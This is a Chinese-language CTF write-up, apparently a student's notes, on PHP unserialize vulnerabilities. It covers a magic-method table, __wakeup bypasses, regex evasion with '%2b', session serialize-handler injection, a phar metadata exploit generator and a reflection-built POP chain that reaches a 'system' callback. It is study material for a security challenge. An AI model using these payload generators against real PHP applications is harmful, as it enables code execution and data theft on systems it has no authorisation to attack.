一般的反序列化入口

方法名 触发时机 / 定义 触发方式极简示例
__construct 创建对象时初始化 new User();
__destruct 销毁对象时 (如脚本结束) $obj = null; 或 脚本执行完毕
__sleep 序列化前 serialize($obj);
__wakeup 反序列化后 unserialize($str);
__serialize 序列化时 (PHP 7.4+) serialize($obj);
__unserialize 反序列化时 (PHP 7.4+) unserialize($str);
__set_state 使用 var_export 导出时 var_export($obj);
__clone 使用 clone 复制对象时 $copy = clone $obj;
一般跳板(pop链)
方法名 触发时机 / 定义 触发方式极简示例
__toString 对象当字符串用时 echo $obj;$str = 'Text' . $obj;
__invoke 对象当函数用时 $obj();call_user_func($obj);
__call 调用不存在的方法时 $obj->noMethod();
__callStatic 静态调用不存在的方法时 User::noMethod();
__get 读取不存在的属性时 $val = $obj->noProp;
__set 设置不存在的属性时 $obj->noProp = 'value';
__isset 检测不存在的属性时 isset($obj->noProp);empty($obj->noProp);
__unset 删除不存在的属性时 unset($obj->noProp);
__debugInfo 使用 var_dump 打印时 var_dump($obj);

一边做题一边补充知识点吧。

  1. 这一关先定义了一个类,里面的函数是_destruct,也就是对象销毁之后自动执行,含有//和/都直接die,然后还有一个wakeup,是在反序列化的时候自动执行,会将查看的文件改为index.php,那么我们需要做到的是,绕过wakeup,在网上学习的方法,只要将序列化后的属性值改大,就可以绕过wakeup,这里问了ivory学长,最好不要手打序列化的结果,而是php里面自动输出,并且套一层urlencode,这里在下一关会埋下伏笔。 然后贴上我的源码,
1
2
3
4
5
6
7
8
class SoFun{
    protected $file='flag1.php';
    }
$obj = new SoFun();
echo urlencode(serialize($obj));

?>```

,但是我发现转码过后我有点找不到属性值在哪了,太混乱了,所以我先没有转码了,而是先得到序列化之后的东西,然后就是把1改成2,然后再转码。
2. 这里是wakeup之后,就可以响应,我们看这个正则匹配,不能是o或者c,然后加一个冒号,然后加一个数字,这就刚好限制了O:2(举个例子,就这种的都不行),而且后面还有这个不分大小写,那么大小写绕过就被淘汰了。这里在网上看到的,在数字面前加一个+,就可以绕过,就是这里,我太蠢了,我居然在url里面直接打了一个+,我都忘了之前sql注入的时候,+会被自动当作空格,然后就去找对应的编码,是%2b

1
2
3
4
5
6
7
8
9
class funny{

    }

$obj = new funny();

echo serialize($obj);

?>

得到O:5:”funny”:0:{},然后在5前面加上%2b
3. 看第三关,定义了两个属性,然后如果wakeup的话,就会把一个不知道的东西赋给password,如果password严格等于verity的话,就得到flag。这个确实是没有头绪,然后去问了ai,说在类的内部就直接是他们共享一个值。

1
2
3
4
5
6
7
8
9
10
11
12

<?php class funny {
    private $password;
    public $verify;
    public function __construct() {
        $this->verify = &$this->password;
    }
}
$o = new funny();
echo urlencode(serialize($o));
?>

=&是引用符号,这样就可以让这两个属性持续相等。
4. ini_set() 设置 PHP 的会话序列化处理器为php_serialize,会话数据将以 PHP 的默认序列化格式进行存储 GET 变量 tryhackme 的值存储到 $_SESSION 数组中,这个数组最终被序列化 Session:服务器用来存储用户会话状态(比如登录状态、用户 ID、购物车信息)的机制,避免每次请求都重新验证用户
PHP 中 session 序列化的关键细节

  • PHP 默认使用php序列化处理器(对应serialize()函数),也支持php_serializephp_binary等格式。它对$_SESSION的序列化规则非常特殊:
    对于 $_SESSION['键名'] = 数据,最终存储的字符串格式是:键名|序列化后的数值
  • session 数据默认存储在服务器的临时文件中(比如/tmp/sess_xxxxxxxxxxxx是 session_id)。
    典型的 session 反序列化漏洞,即两个⻚面设置的的session 序列化方式不同
    这里42是能通过直接创建一个funny的实例 销毁了过后直接就flag了 4这里是储存到会话 然后serialize() 负责 “写入 session 数据”(用php_serialize格式)php处理器解析 session 数据时,会按第一个 | 把字符串拆成「键名」和「要反序列化的值」|左边被当成空键名,|右边的funny对象序列化字符串会被当成 “值”,触发反序列化。
    class funny{
     public $a;
    }
    $x = new funny;
    echo urlencode(“|” . serialize($x));
    全过程 php处理器解析 session 数据:
    把a:1:{s:8:”tryhackme”;s:31:”|O:5:”funny”:1:{s:1:”a”;N;}”;}当成普通字符串(因为php处理器不认识php_serialize的数组格式);
    按第一个 | 分割:左边是a:1:{s:8:”tryhackme”;s:31:”(被当成键名),右边是O:5:”funny”:1:{s:1:”a”;N;}(被当成 “值”);
    PHP 自动对右边的funny对象序列化字符串执行unserialize() → 生成funny对象
  1. 这里其实并不是在考pop链,我们看条件很简单,只需要创建一个对象然后就出发类里面的第一个函数construct,之后等结束又出发destruct,就自动出flag了,那么重要的就是看他是怎么反序列化的,发现这里对序列化的结果有要求,ascii,这个之前做sql的时候学过,反正注意这里的属性是私有化的,那么在序列化之后就会在类名和属性名前都加上空格\0,这个的ascii码是0,直接死了,可以用16进制过了。
  2. $a() 意味着
  • PHP会尝试调用 $a 这个变量
  • 如果 $a 是函数名,就调用该函数
  • 如果 $a 是数组 [对象, 方法名],就调用该对象的方法,
1
2
3
4
5
6
7
8
9
10
11
<?php

class funny {

}

$array=[new funny(),'pyflag'];

echo serialize($array);

?>

这样子就可以做到调用new funny->pyflag,然后响应flag,这道题完全没有用到魔术方法,只用类本身的方式来做。
7. 先看到有个__destruct,在对象被销毁的时候自动响应flag,然后又看到下面,先得到a传参的值 b还传一个 内层的 if 检查文件是否已存在,else if 拼接文件路径 $filename = “./upload/<
随机数>.txt” 。然后获取 GET 参数 data,将 base64 解码内容写入到文件 $filename
这里学到的新知识 结合ai还有文章
先明确:phar 是什么?
phar 是 PHP 的归档文件格式(类似 ZIP),用于打包多个 PHP 文件 / 资源成一个文件,方便分发和使用。
它的核心结构包含 4 部分:
Stub(标识头):必须以<?php __HALT_COMPILER(); ?>结尾,是 PHP 识别 phar 文件的标记(可自定义前缀,比如伪装成图片:GIF89a<?php __HALT_COMPILER(); ?>)。
Manifest(清单):存储 phar 包含的文件信息 +元数据(metadata)—— 而元数据是用serialize()序列化后存储的(这是漏洞的关键!)。
文件内容:归档的实际文件数据。
签名:可选的完整性校验信息

PHP 在解析 phar 文件时,会自动将其元数据(序列化后的字符串)进行反序列化操作—— 无论你用什么函数读取 phar 文件,只要触发了 phar 的解析,元数据就会被反序列化。

而 PHP 的很多文件操作函数(如file_exists()file_get_contents()fopen()unlink()等)支持phar://协议(类似file://),只要给这些函数传入phar://文件路径,就会触发 phar 文件的解析,进而触发元数据的反序列化。

如果元数据中包含恶意序列化对象(比如带有__wakeup()__destruct()等魔术方法的类,这些方法会在反序列化时自动执行),就会触发代码执行,形成漏洞。
然后读取文件内容,进行编码
$content = file_get_contents(‘a.phar’);
echo urlencode(base64_encode($content)) . “
“;
我贴一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

// 1. 定义核心恶意类:funny
class funny{
// __destruct()是PHP魔术方法:当对象被销毁(如脚本结束、unset、反序列化后)时自动执行
function __destruct() {
// global $flag:声明使用全局变量$flag(目标服务器中通常存储flag)
global $flag;
// 输出$flag——这是漏洞利用的最终目标(获取flag)
echo $flag;
}
}

// 2. 清理旧文件:避免同名文件导致创建失败
// @:抑制unlink的错误(比如文件不存在时的报错)
@unlink("exp1.phar");

// 3. 创建phar文件核心流程
// 实例化Phar类,创建exp1.phar文件(后缀必须是.phar,PHP识别phar文件的基础)
$phar = new Phar("exp1.phar");

// 开启phar缓冲区:所有操作先写入内存,不直接刷到磁盘(避免频繁IO)
$phar->startBuffering();

// 设置phar的Stub(标识头):必须以<?php __HALT_COMPILER(); ?>结尾,PHP才能识别为phar文件
// 这是phar文件的“身份标识”,无此内容PHP不会解析为phar文件
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 关键:创建funny类的实例(对象)
$b =new funny();

// 将funny对象存入phar的元数据(metadata)
// 注意注释:不用手动serialize()——Phar类会自动将传入的对象序列化后存入manifest(清单)
$phar->setMetadata($b);

// 向phar归档中添加一个空文件(test.txt),内容为"test"
// 核心要求:phar文件必须包含至少一个文件内容(否则创建失败),这行是满足格式要求的“占位符”
$phar->addFromString("test.txt", "test");

// 结束缓冲区:将内存中的操作刷到磁盘,自动计算phar文件的签名(完成创建)
$phar->stopBuffering();

// 4. 读取并编码phar文件内容
// 读取生成的exp1.phar文件的二进制内容
$content = file_get_contents('exp1.phar');

// 先base64编码(处理二进制内容),再urlencode(避免传输时乱码),最后换行
echo urlencode(base64_encode($content)) . "<br>";

上传过后 会给一个路径 这就是文件所在的路径 去反序列化它 也就是php解析它就可以了
8. 这道题有很多个类,每个类里面都有不止一个函数,那么我们肯定想的是构造pop链,先确定要怎么触发,我们先来确定开始和终点,这里源码的末尾,是把发送的东西反序列化了,我们就可以先想到开头,可能会是c类里面的construct。a类里面的resolve函数应该是终点,因为里面就可以响应到flag,假设一下 比如起点是最好触发的destruct开始 这里会调用一个add方法 是不存在的方法call 这里这个函数 拼接起来就是调用到addme方法嘛 然后会返回字符串 就到了tostring 这里访问了string属性 并不存在于a里面 那么触发get get($name) 里的 $name,
永远等于你写在 -> 后面的那个名字 前面属性名是 字面量 string
插入规则 规则原文级别的结论
当访问
obj->prop 时,如果该属性在当前作用域中不可访问,PHP 会调用 get(“prop”) 也就是说$this->string["string"]();调用resolve
看了半天wp 也没有看懂这个为啥能用到 这里补充知识点
array_walk:这个函数接受一个数组和一个回调函数,将数组中的每个元素作为参数
传递给回调函数
此外,将一个对象传递给需要数组的函数时,PHP 会将对象转换为对象的公共属性
数组来处理,所以第一个参数可以传 $this
对象传入 array_walk 时,它会遍历对象的每个公共属性,并将每个属性值和属性名
传递给回调函数,回调函数两个参数分别为 属性值 和 属性名
原来如此 那么我先尝试自己口述一次
先创造个a1实例 销毁后调用des 为了触发call a1的this->object作为b 这里用到addme 会出字符串
当 PHP 执行:
“字符串” . $x

  • $x 是字符串 → 直接用

  • $x 是数字 → 转字符串

  • $x 是对象 → 尝试调用 $x->__toString()
    触发tostring
    然后call c = new c(array(“string”=>array($a2, “resolve”)));
    创建一个对象 c
    它的私有属性 $string 是一个数组,
    当别人访问 $c->string 时,
    就自动调用 $a2->resolve()
    私有属性不知道怎么搞了
    看了文章的反射

1
$refc = new ReflectionClass($c);

内部结构对象 此时 $refc 里包含:

  • 类名
  • 所有属性(包括 private)
  • 所有方法
  • 可见性信息
1
$propString = $refc->getProperty('string');

在类 c 里,找到那个叫 string 的属性

1
$propString->setAccessible(true);

强行关闭可见性检查

1
$propString->setValue($c, ["string" => [$a2, "resolve"]]);

直接往对象内存里写值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class a {
public $object;
public $ls; // 必须有这个属性,值为['system']
}

class b {
protected $filename; // 受保护属性,需通过反射赋值
}

class c {
private $string; // 私有属性,需通过反射赋值
}

// 1. 构建最终触发resolve的a实例(a2)
$a2 = new a();
$a2->ls = ['system']; // 满足resolve的条件:$prev=ls,$fn[0]=system

// 2. 构建c实例,让其__get触发a2->resolve()
$c = new c();
// 反射给c的private $string赋值:$c->string["string"] = [$a2, "resolve"]
$refc = new ReflectionClass($c);
$propString = $refc->getProperty('string');
$propString->setAccessible(true);
$propString->setValue($c, ["string" => [$a2, "resolve"]]);

// 3. 构建被b引用的a实例(a1),其object指向c
$a1 = new a();
$a1->object = $c; // a1的__toString触发c的__get

// 4. 构建b实例,给protected $filename赋值为a1
$b = new b();
$refb = new ReflectionClass($b);
$propFilename = $refb->getProperty('filename');
$propFilename->setAccessible(true);
$propFilename->setValue($b, $a1); // b的addMe触发a1的__toString

// 5. 构建入口a实例,其object指向b(触发__destruct)
$a = new a();
$a->object = $b;

// 序列化并URL编码
echo urlencode(serialize($a));
?>